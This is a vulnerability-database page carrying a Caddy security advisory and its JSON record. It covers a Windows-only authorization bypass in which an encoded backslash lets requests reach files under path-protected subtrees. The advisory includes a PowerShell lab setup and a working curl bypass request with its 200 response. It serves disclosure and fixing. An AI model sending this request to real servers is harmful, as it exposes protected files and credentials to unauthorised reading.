GHSA-QRP7-CVWR-J2C6

Vulnerability from github – Published: 2026-06-16 21:28 – Updated: 2026-06-16 21:28
VLAI
Summary
Caddy: Windows `file_server` path authorization bypass via encoded backslash
Details

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

  • MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
  • If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
  • file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
  • On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
    debug
    admin off
    auto_https off
}

:19080 {
    log
    root * C:\Users\Public\caddy-backslash-poc\www

    @private path /private/*
    respond @private 403

    file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:28:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOn Windows, Caddy `path` matchers treat `/private\\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\\secret.txt` on disk.\n\nAn unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`.\n\n### Details\n\nThe mismatch is between two Caddy code paths:\n\n- `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`.\n- If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`.\n- `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`.\n- On Windows, Go filesystem path handling treats `\\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`.\n\nThis is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD.\n\n### PoC\n\nTested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository.\n\nOn Windows, create the test files and Caddyfile:\n\n```powershell\n$base = \"C:\\Users\\Public\\caddy-backslash-poc\"\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force \"$base\\www\\private\" | Out-Null\nSet-Content -Path \"$base\\www\\private\\secret.txt\" -Value \"SECRET_FROM_WINDOWS_LAB\" -NoNewline -Encoding ASCII\n\n@\u0027\n{\n\tdebug\n\tadmin off\n\tauto_https off\n}\n\n:19080 {\n\tlog\n\troot * C:\\Users\\Public\\caddy-backslash-poc\\www\n\n\t@private path /private/*\n\trespond @private 403\n\n\tfile_server\n}\n\u0027@ | Set-Content -Path \"$base\\Caddyfile\" -Encoding ASCII\n```\n\nStart Caddy:\n\n```powershell\ncd C:\\Users\\Public\\caddy-backslash-poc\n.\\caddy.exe run --config Caddyfile --adapter caddyfile\n```\n\nBaseline request, expected to be blocked:\n\n```bash\ncurl -v --path-as-is http://\u003cwindows-host\u003e:19080/private/secret.txt\n```\n\nObserved:\n\n```text\n\u003e GET /private/secret.txt HTTP/1.1\n\u003c HTTP/1.1 403 Forbidden\n```\n\nBypass request:\n\n```bash\ncurl -v --path-as-is \u0027http://\u003cwindows-host\u003e:19080/private%5csecret.txt\u0027\n```\n\nObserved:\n\n```text\n\u003e GET /private%5csecret.txt HTTP/1.1\n\u003c HTTP/1.1 200 OK\n\u003c Content-Length: 23\n\nSECRET_FROM_WINDOWS_LAB\n```\n\nUppercase `%5C` produces the same result.\n\nRelevant debug log lines:\n\n```json\n{\"msg\":\"using config from file\",\"file\":\"C:\\\\Users\\\\Public\\\\caddy-backslash-poc\\\\Caddyfile\"}\n{\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private/secret.txt\"},\"status\":403}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private%5csecret.txt\"},\"status\":200}\n```\n\n### Impact\n\nThis is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`.\n\nThis pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`.\n\nAn attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.\n\n### Suggested Fix\n\nNormalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\\` before `file_server` resolves them as filesystem separators.\n\nThe important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.\n\n### AI Disclosure\n\nLLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.",
  "id": "GHSA-qrp7-cvwr-j2c6",
  "modified": "2026-06-16T21:28:11Z",
  "published": "2026-06-16T21:28:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: Windows `file_server` path authorization bypass via encoded backslash"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…